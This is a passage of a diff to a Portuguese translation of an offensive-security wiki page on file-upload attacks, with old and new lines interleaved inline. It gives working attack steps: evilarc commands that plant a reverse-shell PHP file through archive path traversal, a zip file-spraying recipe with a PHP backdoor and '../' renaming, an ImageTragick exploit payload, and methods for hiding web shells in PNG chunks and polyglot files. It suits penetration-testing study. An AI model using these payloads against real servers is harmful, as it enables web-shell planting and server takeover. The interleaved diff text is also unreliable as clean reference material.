GitHub**](https://github.com/ptoomey3/evilarc). A utilidade pode ser usada conforme mostrado: +Um exploit automatizado para criar esses arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). O utilitário pode ser usado como mostrado: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Além disso, o **truque de symlink com evilarc** é uma opção. Se o objetivo é direcionar um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado em seu sistema. Isso garante que o evilarc não encontre erros durante sua operação. +Além disso, a **symlink trick with evilarc** é uma opção. Se o objetivo for direcionar um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que o evilarc não encontre erros durante sua operação. Abaixo está um exemplo de código Python usado para criar um arquivo zip malicioso: ```python @@ -249,11 +254,11 @@ zip.close() create_zip() ``` -**Abusando da compressão para file spraying** +**Abusing compression for file spraying** -Para mais detalhes **verifique o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Para mais detalhes **veja o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Criando um Shell PHP**: O código PHP é escrito para executar comandos passados através da variável `$_REQUEST`. +1. **Creating a PHP Shell**: O código PHP é escrito para executar comandos passados através da variável `$_REQUEST`. ```php ``` -2. **File Spraying e Criação de Arquivo Compactado**: Múltiplos arquivos são criados e um arquivo zip é montado contendo esses arquivos. +2. **File Spraying and Compressed File Creation**: Vários arquivos são criados e um arquivo zip é montado contendo esses arquivos. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modificação com um Editor Hexadecimal ou vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hexadecimal, mudando "xxA" para "../" para percorrer diretórios. +3. **Modification with a Hex Editor or vi**: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hexadecimal, mudando "xxA" para "../" para atravessar diretórios. ```bash :set modifiable @@ -280,7 +285,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Carregue este conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick , 7.0.1-1)** (form do [exploit](https://www.exploit-db.com/exploits/39767)) +Faça upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick , 7.0.1-1)** (a partir do [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 @@ -289,31 +294,29 @@ pop graphic-context ``` ## Embedding PHP Shell on PNG -Incorporar um shell PHP no bloco IDAT de um arquivo PNG pode contornar efetivamente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes neste contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do shell PHP incorporado de permanecer inalterado por essas operações é uma vantagem significativa para certos casos de uso. +Incorporar uma PHP shell no chunk IDAT de um arquivo PNG pode contornar eficazmente certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e resamplear imagens, respectivamente. A capacidade da PHP shell incorporada de permanecer inalterada por essas operações é uma vantagem significativa para certos casos de uso. -Uma exploração detalhada dessa técnica, incluindo sua metodologia e potenciais aplicações, é fornecida no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece uma compreensão abrangente do processo e suas implicações. +Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é apresentada no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Esse recurso oferece uma compreensão abrangente do processo e de suas implicações. -Mais informações em: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Polyglot Files +## Arquivos Polyglot -Arquivos poliglotas servem como uma ferramenta única em cibersegurança, agindo como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como um GIF quanto como um arquivo RAR. Esses arquivos não estão limitados a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis. +Arquivos polyglot servem como uma ferramenta única em cibersegurança, atuando como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como GIF quanto como um arquivo RAR. Esses arquivos não se limitam a esse pareamento; combinações como GIF e JS ou PPT e JS também são viáveis. -A utilidade central dos arquivos poliglotas reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações envolve permitir apenas certos tipos de arquivos para upload—como JPEG, GIF ou DOC—para mitigar o risco apresentado por formatos potencialmente prejudiciais (por exemplo, arquivos JS, PHP ou Phar). No entanto, um poliglota, ao se conformar aos critérios estruturais de múltiplos tipos de arquivo, pode contornar furtivamente essas restrições. +A utilidade principal dos polyglots reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prática comum em várias aplicações é permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco representado por formatos potencialmente perigosos (por exemplo, JS, PHP ou arquivos Phar). No entanto, um polyglot, ao conformar-se aos critérios estruturais de múltiplos tipos de arquivo, pode contornar silenciosamente essas restrições. -Apesar de sua adaptabilidade, os poliglotas enfrentam limitações. Por exemplo, enquanto um poliglota pode simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso de seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um poliglota pode não ser suficiente para garantir seu upload. +Apesar de sua adaptabilidade, os polyglots encontram limitações. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso do seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir seu upload. -Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +### Fazer upload de JSONs válidos como se fossem PDF -### Upload valid JSONs like if it was PDF +Como evitar detecções de tipo de arquivo enviando um arquivo JSON válido mesmo que não seja permitido, fingindo ser um arquivo PDF (técnicas from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -Como evitar detecções de tipo de arquivo ao fazer upload de um arquivo JSON válido mesmo que não seja permitido, simulando um arquivo PDF (técnicas deste **[blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +- **`mmmagic` library**: Desde que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, é válido (veja exemplo no post) +- **`pdflib` library**: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que é um pdf (veja exemplo no post) +- **`file` binary**: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que não consiga interpretar o conteúdo como JSON e então, dentro do JSON, colocar a parte inicial de um PDF real e ele pensará que é um PDF -- **`mmmagic` library**: Desde que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, é válido (obtenha exemplo do post) -- **`pdflib` library**: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que é um pdf (obtenha exemplo do post) -- **`file` binary**: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que não consiga analisar o conteúdo como um json e então, dentro do JSON, coloque a parte inicial de um PDF real e ele pensará que é um PDF - -## References +## Referências - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) @@ -322,5 +325,6 @@ Como evitar detecções de tipo de arquivo ao fazer upload de um arquivo JSON v - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}}